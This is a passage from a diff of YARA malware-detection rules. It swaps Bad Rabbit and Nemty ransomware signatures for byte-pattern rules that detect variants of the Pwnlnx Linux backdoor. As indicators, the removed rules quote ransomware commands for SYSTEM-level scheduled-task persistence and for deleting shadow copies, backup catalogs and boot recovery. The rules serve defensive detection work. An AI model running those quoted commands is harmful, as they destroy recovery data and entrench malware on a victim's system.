?69????????????6B????74??72??6164??73??676D6173????????6E6E6563??????74??72??6164??73??6C66??????63????74??70??68????????5F6465????63????6663????6C????????63??73??2E????????63????74??73??72??70????????69????????????????????616E64??????6574??6174??6E??????74??77??69??????????????6469????????????5F6E74??61??????74??72??69??????????????70??????????6D6F6E????????74??6E??????6C6563??????6B????????72??616C6C6F63??676574??69??????????????73??72??6F6B????63????77????????70??6173??72??3634??73??67656D70??79??6574??6D656D73??74??72??6469??????????????????6565??????68????????6173??74??6D65??????74??6F63????70????????616E74??74??6475??32??73??67616464????74??69????????????6472??6663??????65??????74??6F63????70????????6C6C6F63??73??72??6174??72??616C70??74????????6D6F76????????656E6469????????????6C??????74??6F73??62????616D65??????6563??????????72??74????????656164??????6C6F63????74??6C6F63????74??6D65??????616E6469????????????616464??????????????6565????73??74??69????????????????????6D6D6F76????????70??6E3634??5F5F6C69????????????72??5F6D6169????????????73??73??70??69????????????65????????78??74??74??34??474C4942435F32??32??35????????42435F32??33??000002??02??02??03??02??02??02??03??03??02??02??02??0000000002??02??02??02??02??03??02??02??02??02??02??02??02??02??03??02??02??02??04??02??02??03??02??03??02??02??02??03??02??02??02??02??02??03??02??02??02??02??02??02??03??02??02??03??02??02??02??03??02??03??02??03??02??02??02??02??02??02??03??03??03??02??02??02??02??02??000001??01??24??000010??000020??000075??69??????????9602??00000000????????????????????000000000000????69????????????A2????????0000??????69??????????9602??00000000????81????????????060000????????????000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000000082??????0000????0000??????0000000000000000000008??????????0000070000????????????000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000??????6000000000????0000??????000000000000000000004882??????0000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000?????? } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 400KB and pe.imphash ( ) == "94f57453c539227031b918edd52fc7f1" and ( 1 of ( $x* ) or 4 of them ) ) or ( all of them ) + uint16( 0 ) == 0x457f and filesize < 100KB and all of them } -rule TRELLIX_ARC_Badrabbit_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_2 : BACKDOOR FILE { meta: - description = "Rule to detect Bad Rabbit Ransomware" + description = "Rule to detect the backdoor pwnlnx variant 2" author = "Marc Rivero | McAfee ATR Team" - id = "d6e78c14-0913-5eed-be15-a6d1a8cd1a8d" - date = "2026-02-01" + id = "c4ee686b-49d9-5566-b749-1144a19c1fee" + date = "2020-04-17" modified = "2020-08-14" - reference = "https://securelist.com/bad-rabbit-ransomware/82851/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BadRabbit.yar#L49-L101" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L35-L65" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "7536f021ce7fede0f1a2bf2f4ebc7d6e7269a6dd63005cab1fc6a309a71c61c0" + hash = "08cc67002782cbafd97a4bff549d25dd72d6976d2fdf79339aaf5a3ff7c3107e" + logic_hash = "08ea40ba72677263a41f62097fc38040361ba595d67cb04979b66548c7f4d271" score = 75 - quality = 43 - tags = "RANSOMWARE, FILE" - malware_type = "ransomware" - malware_family = "Ransom:W32/BadRabbit" + quality = 70 + tags = "BACKDOOR, FILE" + rule_version = "v1" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\" -id %u && exit\"" fullword wide - $s2 = "C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\" fullword wide - $s3 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide - $s4 = "need to do is submit the payment and get the decryption password." fullword wide - $s5 = "schtasks /Create /SC once /TN drogon /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide - $s6 = "rundll32 %s,#2 %s" fullword ascii - $s7 = " \\\"C:\\Windows\\%s\\\" #1 " fullword wide - $s8 = "Readme.txt" fullword wide - $s9 = "wbem\\wmic.exe" fullword wide - $s10 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide - $og1 = { 39 74 24 34 74 0a 39 74 24 20 0f 84 9f } - $og2 = { 74 0c c7 46 18 98 dd 00 10 e9 34 f0 ff ff 8b 43 } - $og3 = { 8b 3d 34 d0 00 10 8d 44 24 28 50 6a 04 8d 44 24 } - $oh1 = { 39 5d fc 0f 84 03 01 00 00 89 45 c8 6a 34 8d 45 } - $oh2 = { e8 14 13 00 00 b8 ff ff ff 7f eb 5b 8b 4d 0c 85 } - $oh3 = { e8 7b ec ff ff 59 59 8b 75 08 8d 34 f5 48 b9 40 } - $oj4 = { e8 30 14 00 00 b8 ff ff ff 7f 48 83 c4 28 c3 48 } - $oj5 = { ff d0 48 89 45 e0 48 85 c0 0f 84 68 ff ff ff 4c } - $oj6 = { 85 db 75 09 48 8b 0e ff 15 34 8f 00 00 48 8b 6c } - $ok1 = { 74 0c c7 46 18 c8 4a 40 00 e9 34 f0 ff ff 8b 43 } - $ok2 = { 68 f8 6c 40 00 8d 95 e4 f9 ff ff 52 ff 15 34 40 } - $ok3 = { e9 ef 05 00 00 6a 10 58 3b f8 73 30 8b 45 f8 85 } + $bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????00000000000088????????????00000000??????38??05????????????????0000????????????0000000000000000??????0000000000004000000000??????0D??????????????0D????????0000????00000000????0000????0000????????????0000????????????0000????????????0000????12??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????????00000000????????00000000??????000000000000070000??????000080??????0000000080??????0000000080??????0000000028??00000000000070??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55????????????CC78??78??83????????????CB371F0000000080??????0000000025????????0000????7E??00000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000??????4200000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????76??00000000????????????0000????8B????00000000C8??????0000000025????????0000??????4200000000????76??00000000????????????0000????444200000000????76??00000000????????????0000??????4900000000????76??00000000????????????0000??????4600000000????76??00000000????????????0000????424200000000??????EC08??33??0000E8????????E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090554889??534883????80????????????75??BB????????488B??????????4881??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??B8????????4885??74??BF????????E8????????C6????????????4883????5BC9C30F1F????????????55B8????????4885??4889??74??BE????????BF????????E8????????4883????????????74??B8????????4885??74??BF????????C9FF??0F1F??????????C9C39090554889??534881??????????89??????????48C7????????????8B????3D????????0F87????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????BA????????488D??????????4889??4889??E8????????4889????4883??????0F84????????488D??????????488D??????????4889??4889??E8????????85??0F85????????488B??????????4889????C7????????????488B????89????488B????48C1????89????488B????4889????488B????4889??????488B????4889??????E8????????89????BE????????488D????E8????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????BE????????488D????E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??0F85????????8B????89??4889??48C1????8B????89??488D????4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7E??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??74??8B????48984801????488B????483B????7C??EB??90EB??90EB??90EB??90EB??90EB??90488B????4889??E8????????EB??90EB??90EB??90B8????????4881??????????5BC9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????0F84????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????488B????4889????488B????4889??????488B????4889??????E8????????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??0F84????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??0F84????????488D????8B????BA????????4889??89??E8????????85??74??488D????BE????????4889??E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??75??8B????83????75??8B????488B????4889????488B????4889??????488B????4889??????89??E8????????EB??90EB??90EB??90EB??90EB??908B????89??E8????????B8????????4881??????????5BC9C390554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????89??C1????F7????89??48980FB6??????????89??31??488B????88??83??????4883??????8B????3B????7C??488B????C9C3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????C9C39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????BA????????488D??????????488D??????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????0F84????????488D??????????488B????4889??4889??E8????????488D??????????488D????B9????????BA????????4889??4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????488D??????????4989??BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????488B??????????8B??????????4189??4181??????????8B??????????89??81??????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????4889??????4889??????488B????4889??????488B????4889????4589??4189??4889??BE????????4889?? } condition: - uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) and all of ( $og* ) ) or all of ( $oh* ) or all of ( $oj* ) or all of ( $ok* ) + uint16( 0 ) == 0x457f and filesize < 1000KB and all of them } -rule TRELLIX_ARC_Nemty_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_3 : BACKDOOR FILE { meta: - description = "Rule to detect Nemty Ransomware" + description = "Rule to detect the backdoor pwnlnx variant" author = "Marc Rivero | McAfee ATR Team" - id = "e9b133d6-fd77-5201-995d-c42bae7cde46" - date = "2020-02-23" + id = "02ea1eb2-7235-5ed5-86ba-19d52e8fb428" + date = "2020-04-17" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L1-L45" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L67-L97" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "73bf76533eb0bcc4afb5c72dcb8e7306471ae971212d05d0ff272f171b94b2d4" - logic_hash = "d055286670516318c14dcf4e5873b96eede5e1dfb3ee978553fc11f1ac6b3252" + hash = "08f29e234f0ce3bded1771d702f8b5963b144141727e48b8a0594f58317aac75" + logic_hash = "8a1405f430ce57810577f65ef43a1425601bf49b5adb4f6f935505427ad9dc94" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Nemty" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $x1 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" fullword ascii - $s2 = "https://pbs.twimg.com/media/Dn4vwaRW0AY-tUu.jpg:large :D" fullword ascii - $s3 = "MSDOS.SYS" fullword wide - $s4 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} " ascii - $s5 = "recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" fullword ascii - $s6 = "DECRYPT.txt" fullword ascii - $s7 = "pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=" fullword ascii - $s8 = "\\NEMTY-DECRYPT.txt\"" fullword ascii - $s9 = "rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8" ascii - $s10 = "IO.SYS" fullword wide - $s11 = "QgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vf" ascii - $s12 = "NEMTY-DECRYPT.txt" fullword wide - $s13 = "pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==" fullword ascii - $s14 = "a/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn" fullword ascii - $s15 = "KeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG" fullword ascii - $s16 = "pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=" fullword ascii - $s17 = "grQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vt" ascii - $s18 = "BOOTSECT.BAK" fullword wide - $s19 = "bbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVX" ascii - $s20 = "puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5" ascii + $bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????000000000000B0??3A??000000000000000040??????????????????????01??000005????????0000000000000000??????0000000000004000000000????????????0000????????????00000000????00000000????0000????0000????A40C??00000000C0??????????????C0??????????????5013??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????000000000000????000000000000??????000000000000070000??????0000C0??????????????C0??????????????C0??????????????28??00000000000078??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000??????000000000000C0????????????????????????0000????84????00000000C8??????0000000025????????0000????374200000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000??????4200000000????A56C00000000????????????0000????24??00000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000????83??????0000????A56C00000000????????????0000????5E42000000000000A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????914200000000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000??????4200000000??????EC08??4301??????62??0000E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090B8????????55482D????????4883????4889??76??B8????????4885??74??5DBF????????FF??660F1F????????????5DC366666666????????????????????BE????????554881??????????48C1????4889??4889??48C1????4801??48D1??74??B8????????4885??74??5DBF????????FF??0F1F??5DC3660F1F??????80????????????75??554889??53BB????????4881??????????4883????488B??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??E8????????B8????????4885??74??BF????????E8????????C6????????????4883????5B5DF3??669055B8????????4885??4889??74??BE????????BF????????E8????????BF????????4883????75??5DE9????????6690B8????????4885??74??FF??EB??9090554889??534881??????????89??????????48C7????????????8B????3D????????76??E9????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????BE????????4889??E8????????4889????4883??????75??E9????????488D??????????488D??????????4889??4889??E8????????85??74??E9????????488B??????????4889????C7????????????488B????89????488B????48C1????89????4883????FF????FF????FF????E8????????4883????89????BE????????488D????E8????????8B??????????BA????????488D????89??E8????????85??75??E9????????8B??????????BA????????488D????89??E8????????85??75??E9????????BE????????488D????E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??E9????????8B????89??48C1????4889??8B????89??4801??4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7F??EB??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??75??EB??8B????48984801????488B????483B????7C??488B????4889??E8????????B8????????488B????C9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????75??E9????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????4883????FF????FF????FF????E8????????4883????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??75??E9????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??75??EB??488D????8B????BA????????4889??89??E8????????85??75??EB??488D????BE????????4889??E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??EB??8B????83????74??EB??8B????4883????FF????FF????FF????89??E8????????4883????908B????89??E8????????B8????????488B????C9C3554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????99F7????89??48980FB6??????????31??89??488B????88??83??????4883??????8B????3B????7C??488B????5DC3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????5DC39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????488D??????????488D??????????4889??BA????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????75??E9????????488D??????????488B????4889??4889??E8????????488D????488D??????????B9????????BA????????4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????488D??????????488D??????????4989??4889??BA????????BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????4989??488B??????????8B??????????25????????89??8B??????????25????????89??488B????8B????4863??48C1????4801??488B??488D????488D??????????415052FF????FF????4189??4189??BA????????BE????????4889??B8????????E8????????4883????488B????4889??E8????????4889??488D?????????? } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) and 4 of them ) ) + uint16( 0 ) == 0x457f and filesize < 4000KB and all of them } -rule TRELLIX_ARC_Nemty_Ransomware_2_6 : RANSOMWARE FILE +rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_4 : BACKDOOR FILE { meta: - description = "Rule to detect Nemty Ransomware version 2.6" + description = "Rule to detect the backdoor pwnlnx variant 4" author = "Marc Rivero | McAfee ATR Team" - id = "335dff33-d078-58ba-b68b-a949895b710f" - date = "2020-04-06" + id = "199bb534-f0f6-5b67-aedd-3eada5e45cc6" + date = "2020-04-17" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L47-L80" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L99-L129" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "52b7d20d358d1774a360bb3897a889e14d416c3b2dff26156a506ff199c3388d" - logic_hash = "dacf709838ef2ef65d25bdbbd92007ab46a95953031d7bee75eac046f670171a" + hash = "2590ab56d46ff344f2aa4998efd1db216850bdddfc146d5d37e4b7d07c7336fc" + logic_hash = "11203beee446aaf0783d3a8d3839a88ef16c27d52be8670d650ebf6a1de2c3aa" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Nemty" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????A1????????33??89????8B????578D??????????89??????????E8????????33??6A??5839????76??5683????75??508D????5350E8????????8D??????????508D????E8????????83????6A??5880??????75??C6??????4879??EB??FE????33??8A??????8B??????????30????47403B????72??5E8B????33??5FE8????????C9C3558B??51515333??5633??32??89????39????0F86????????578B????8B????8A????8B??83????74??4F74??4F75??21????0FB6??0FB6??83????8B??C1????C1????0B??8A??????????83????88????8A??????????8B????88??????83????EB??0FB6??0FB6??83????6A??C1????C1????5E0B??EB??33??0FB6??46C1????8A??????????88????40FF????8A??8B????3B????72??5F4E74??4E75??0FB6??83????8A????????????88????C6????????83????EB??0FB6??83????C1????8A??????????88????66????????????83????5EC6??????5BC9C3558B??33??F6??????75??5733??39????76??8B????8A????80????74??80????7C??80????7F??0FB6??8A??????????80????74??8B??83????83????74??4A74??4A74??4A75??08????40EB??8A??C0????80????08????40C0????EB??8A??C0????80????08????40C0????EB??C0????88????473B????72??EB??33??5F5DC3558B??518B??85??74??8B????568B??89????3B??74??576A??33??E8????????83????3B????75??5FFF??E8????????595E33??89??89????89????C9C3558B??80??????74??83??????72??538B??85??74??575356E8????????83????53E8????????595BC7????????????89????C6??????5DC2????C7??????????E9????????558B??568B??C7??????????E8????????F6??????74??56E8????????598B??5E5DC2????558B??83????81??????????A1????????33??89????????????5356578D????508D??????E8????????68????????8D????????????E8????????6A??5F33??83????66????????8D????8B??33??5089??????89??????E8????????E8????????33??66????????8B????????????03??????83????8D??????89??????89??????E8????????538D??????5083????8D??????E8????????538D????????????5083????E8????????8B??8D??????E8????????6A??33??E8????????83????????8B??????73??8D??????8D????????????5150FF??????????89??????83????0F84????????8B??????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????F6??????????????8D????????????508D??????8D??????74??E8????????598D??????51E8????????8B??598D??????E8????????6A??33??8D??????E8????????6A??8D??????E8????????83????8D??????8B??50E8????????E8????????83????E9????????E8????????8B??598D??????E8????????6A??33??8D??????E8????????8D????????????50FF??????????508D??????E8????????8B??????6A??5F39??????73??8D??????8B??????????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??74??8B??????39??????73??8D??????68????????50FF??85??74??83????8B??68????????E8????????83????8D????????????8B??51E8????????E8????????83????85??75??8B??????39??????73??8D??????83????8B??51E8????????E8????????83????6A??33??8D??????E8????????8D????????????50FF??????FF??????????85??0F85????????FF??????FF??????????33??435333??8D?????? } + $bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000????????????000000000000??????0000000040??????????????000014??000003??0000474E55????9FECFBE5??F973??EB??2A??????????71??BD????????0000000000000000554889??53E8????????FF????????????4889??4889??4881??????????FF????????????4889??5BC9C30F1F??????554889??E8????????FF????????????C9C366666666????????????????????554889??E8????????4885??74??4C8B????4D85??74??65??8B????????????8B??????????4889??????????48C7??????????89??C1????C1????01??25????????29??48984C89????????????FF??????????C9C3660F1F????????????31??C9C36666662E????????????????554889??E8????????4889??????????48C7??????????FF??????????C9C390554889??E8????????8B??????????488B??????????488D????0FB6????3C??400F94??3C??410F94??74??4084??75??B8????????C9C30F1F????????????8B??????????39????74??3B????74??4584??74??8B??????????4801??0FB7??????????66????74??66??????75??4889??41FF??B8????????C9C30F1F??4084??74??8B??????????4801??0FB7??????????66????75??EB??0F1F????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??BE????????E8????????483D????????77??4885